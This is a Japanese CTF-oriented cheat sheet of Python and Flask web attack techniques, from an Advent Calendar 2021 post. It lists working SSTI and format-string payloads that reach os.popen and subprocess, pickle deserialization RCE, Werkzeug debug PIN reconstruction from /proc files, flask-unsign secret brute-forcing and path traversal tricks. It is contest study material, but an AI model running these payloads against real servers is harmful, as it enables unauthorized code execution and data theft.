この記事はCTFのWebセキュリティ Advent Calendar 2021の19日目の記事です。
本まとめはWebセキュリティで共通して使えますが、セキュリティコンテスト(CTF)で使うためのまとめです。
悪用しないこと。勝手に普通のサーバで試行すると犯罪です。
- 使えるコマンド例
- Python 3.7.2にはUnicode正規化を利用したホスト偽装方法がある
- 課題 36216: CVE-2019-9636: urlsplit does not handle NFKC normalization - Python tracker
https://example.com\uFF03@bing.com
→https://example.com
にアクセスされるがbing.com
がホスト名になる
- formatを利用したSSTI
- 例えば
fmt_cmt = cmt.comment.format(rating=self.__dict__)
というコードがあって、cmt.commentに外部からなんでも入力が入れられるとする - この時、
{rating}
を入力すると、self.dictの値が出力されてしまう。formatで{rating}
が変換されるためである。 - まあ、これだけならいいのだが、もっと情報を抜き出すこともできる。
{rating[comments][0].__class__.__init__.__globals__}
こういうペイロードもある。- とにかくinitが使える部分を探すのがミソか。
- lovasoa/pyformat-challenge: Python format string vulnerability exploitation challenge
- なんか見つけた。中身見てないし、関係ないかも。
- Exploiting Python’s Eval | floyd's
- 類題?
- python - globals in imported function is much different than globals of function in main module - Stack Overflow
- これを見るとどうやらglobalsメソッドは関数についてくるらしい
- だからinitに対してglobalsを呼んでいるのか
- Formatting
a.__init__.__globals__[flag]
- 例えば
- fstringを使ったRCE
- fstring(input)としている場合は
{open('/flag').read()}
みたいなインジェクションがいける
- fstring(input)としている場合は
- urlparse
- pythonのurlparseの仕様をうまく使えば、色々バイパスできる
- メモ
- os.path.join is weird in python3
- Flask - When to use send_file / send_from_directory - Stack Overflow
- ルート指定でpathが付いていれば、パスを与えることができる
- (そうでないなら、パスはURL的に処理されてしまう)
- send_fileであれば、相対パスを与えることができる(ディレクトリトラバーサル可能)
- send_from_driectoryであれば、無理
- ルート指定でpathが付いていれば、パスを与えることができる
- python3のjoinはこんな挙動をするので、ディレクトリトラバーサルに使える。
- Flask - When to use send_file / send_from_directory - Stack Overflow
>>> import os >>> print(os.path.join('/home', 'flag.txt')) /home/flag.txt >>> print(os.path.join('/home', '/flag.txt')) /flag.txt
- subprocessはコマンドインジェクションができてしまう
- 特に
shell=True
となってたら危ない - subprocess --- サブプロセス管理 — Python 3.8.5 ドキュメント
shell=True
を付けない、デフォルトの状態だと安全に渡される- 例えば
cat flag
を与えると、スペースがエスケープされて全体で1コマンド解釈されるので、shell=True
を付けたりする - でも
['cat', 'flag']
を与えることで、shall=Trueが無くても正しく実行してくれる(しかも空白を制限できるのでやや安全)
- 特に
- cookieを使ってバイパス
- CTFtime.org / DefCamp CTF 2020 Online / http-for-pros / Writeup
- request.cookies['a']みたいにして、aをcookieに入れてやればいい
{{request[request.cookies['a']][request.cookies['b']][request.cookies['c']][request.cookies['d']][request.cookies['e']][request.cookies['f']]('subprocess')[request.cookies['g']](request.cookies['h'],shell=True)}}
として -"a": "__class__"
,"b": "_get_file_stream"
,"c": "im_func"
,"d": "func_globals"
,"e": "__builtins__"
,"f": "__import__"
,"g": "check_output"
,"h": cmd
という感じ
re.sub(r'([^_\.\sa-zA-Z0-9])', r'\\\1', s)
- とやると
\n
は変換されない
- とやると
- 脆弱性
- picoCTF 2021 What's your input? - Qiita
- 変数名を入れるとそのまま展開されて表示されるバグ
- picoCTF 2021 What's your input? - Qiita
- 文字列しか扱えないとき
f"{__builtins__['__import__']('os').__dict__['popen']('ls').read()}"
みたいにf"{}"で囲んで文字列化
- プライベート変数を参照したいとき
- Pythonのプライベート変数の振る舞いについて - Qiita
_{クラス名}{プライベート変数名}
で直接参照ができる。
__dict__
でインスタンスの変数が参照可能instance.__dict__['private_var_name'] = 'private_var_value';
- メモリを改ざんすることで数値をいじるテク
- pythonでは全てがオブジェクトとして管理されており、数値もオブジェクトとしてメモリに実質的な値が格納されている。よって、メモリをいじることで数値の評価値を変えることができる
- Python - Pythonのid関数は一体何を指しているのか?|teratail
- id関数でメモリの場所が抜けるが、色々実装依存の所があるっぽい
- 🔰 SECCON Beginners CTF 2021 作問者 Writeup - Qiita
- 要求としては42の数値を書き換えたい
- 数値42の先頭アドレスを取得する id(42)とするのが理想だがこの問題では5文字までの制限があるのでid(1)として41 * 32を足すことでid(42)を求めている
- 1のアドレス+24からが数値の中身を管理する領域なのでここまでseekして書き換える
- 問題ではHackを書き込むので、これが32bit整数として評価されるので42はかなりでかい数値として評価される事になってフラグを得る
- pythonのcodingをraw_unicode_escapeを使って、コメント部分を実行させるテク
- 文字種が限定されている場合のRCE
- メモ
type(int("1_1")) = <class 'int'>
でint("1_1")=11
となる
pdb.post_mortem(e.__traceback__)
みたいなコードがあれば、ここに到達すればPDBが起動する。- pycを解析する
- uncompyle6 · PyPI
$ uncompyle6 parseltounge.pyc
とすれば普通にデコンパイルされる
- uncompyle6 · PyPI
ライブラリ
- Flask,Twig
- HackTricks
- python向けのウェブアプリケーションフレームワーク
- セッションの形式が特殊でわかりやすい
{{ config.items() }}
とやることで、いろんな情報を表示できる{{config}}
でも抜ける- https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Server%20Side%20Template%20Injection
- secure_filenameは強い。
- debug modeの場合は
/console
が怪しい- consoleにPINコードがかかっているときの解析方法。LFIができれば解析可能
- Workerbee Walkthrough (Werkzeug Debug Pin generation) - YouTube
- werkzeug - HackTricks
- ここの末尾にPINコードを作成するpythonコードが添付されているのでこれを埋めるようにして、情報をかき集めていく
- probably_public_bitsを埋める
- 1番目
/proc/self/environ
から環境変数USERを取ってくるUSER=loremipsum
- 2番目はそのまま
- 3番目
/proc/self/cmdline
をするとloremipsum.py
というファイル名だと分かるloremipsum.py
を取ってくるとapp = Flask(__name__)
とあるので、ここはこのままFlask
でよい
- 4番目
- エラー画面を見ると
/usr/local/lib/python3.6/dist-packages/flask/app.py
とあるので、python3.6に修正する
- エラー画面を見ると
- 1番目
- private_bits
- 1番目
/proc/net/arp
を見るとDeviceはeth0
であると分かる。/sys/class/net/eth0/address
としてMACアドレスを取得する02:42:ac:1b:00:02
- これを16進数でつないで10進数に変換すると得られる
print(0x0242ac1b0002)=2485378547714
- 2番目
- 以下2つをそのままつなげたものを入れる
/proc/sys/kernel/random/boot_id
でb875f129-5ae6-4ab1-90c0-ae07a6134578
が得られる/proc/self/cgroup
の最初の要素のハッシュ値みたいなやつを取ってくる11:memory:/docker/e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
のe8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- よって、
b875f129-5ae6-4ab1-90c0-ae07a6134578e8c9f0084a3b2b724e4f2a526d60bf0a62505f38649743b8522a8c005b8334ae
- 以下2つをそのままつなげたものを入れる
- 1番目
- これで実行するとPINコード
126-739-410
が得られて、使えば答え
- werkzeug - HackTricks
- Flaskのセッション管理
- format
- [sessiondata].[Timestamp].[signature]
- Baking Flask cookies with your secrets | by Luke Paris | Paradoxis
- jwtっぽいけど、違う
- Cookieにセッションの内容が全部入っている。secret_keyがあれば署名も可能
- sstiできるなら、configからsecret_keyを抜き出すことも可能
- flask_jwtを使うことでjwtが使える
- Tools
- GitHub - noraj/flask-session-cookie-manager: Flask Session Cookie Decoder/Encoder
- flask-unsignツールを使うと簡単にブルートフォースで解析可能
- インストール
pip install flask-unsign flask-unsign[wordlist]
- 中身見る
flask-unsign -d -c "[cookie]"
- パスワード解析
flask-unsign -c "[cookie]" --unsign
- 作り直す
flask-unsign --sign --secret password1 --cookie "{'flagship': True, 'username': 'toto'}"
- インストール
- 辞書攻撃が効く問題も見たことがある
- rockyou.txtで解析したいとき
flask-unsign -c "[cookie]" --unsign --wordlist tools/rockyou.txt --no-literal-eval
- rockyou.txtで解析したいとき
- format
- send_fileするときにMIMEタイプが設定されていない場合は、拡張子からMIMEタイプが推論されて付与される
- flask_admin
- クラスでモデルを作ってDB編集を簡単に行えるようにしたフレームワーク
from flask_admin import Admin
みたいにインポートしてる
- これを使えば以下ルールでDBをいじれる
/admin/[Table名]/
Table内容を確認する/admin/[Table名]/edit/?id=XX
id=XXである要素を編集できる/admin/[Table名]/new
Tableに新しい要素を追加する
- 問題
- クラスでモデルを作ってDB編集を簡単に行えるようにしたフレームワーク
- Flaskのwerkzeugで使われるパスワードハッシュ
from werkzeug.security import generate_password_hash
で使われるパスワードハッシュpbkdf2:sha256:150000$ODedbYPS$4d1bd12adb1eb63f78e49873cbfc731e35af178cb9eb6b8b62c09dcf8db76670
こんなかんじ
- jinja
- RCE1
- getパラメタを使ってうまくフィルターを回避する例
- URL
/apply?x=__class__&l=os
- データ
{{(config|attr(request.args.x)|attr('__init__')|attr('__globals__')|attr('__getitem__')('__builtins__')|attr('__getitem__')('__import__')(request.args.l)|attr('popen')('id')|attr('read')())}}
- RCE2
{{request.environ.__getitem__('gunicorn.socket').dup.__func__.__globals__.__getitem__('o''s').__builtins__.__getitem__('__import__')('subprocess').check_output(('bash','-c','cat strategyguide.txt'))}}
- RCE1
- Tornade
- Tornade用のCookieの作り方
- Pickle
- RCE脆弱性がある
- pickle.load(ここ!)に対してインジェクションできれば、発動させられる
__reduce__
メソッドはpickle.loadするときに発動して、文字列に入れ替わるls
を実行して、cat flag
でフラグゲットパターンを見たnot enough values to unpack (expected 3, got 2)
というエラーはpickleっぽい- flask_caching
- キャッシュとしてpickleされたものが入ってる。なので、キャッシュポイズニングしたい場合はpickle.dumpsして先頭に!を入れてやればいい
flask_cache_view/メソッド名
に入れればいい- 参考:CTF-Write-ups/CSAW Quals 2020/Web/flask_caching at master · csivitu/CTF-Write-ups
- 【Python】pickle(漬け物)は仮想マシンだった——仕組みとリスク - Qiita
- weurkzerg
- helpを使った変数表示
- flagという変数があって、
help(flag)
を動かすとNo Python documentation found for '[flagの中身]'
というのが出力されてくる - なんかinteractiveにも使えるっぽい
help()
ってしてそのあとflagを入れれる?
- flagという変数があって、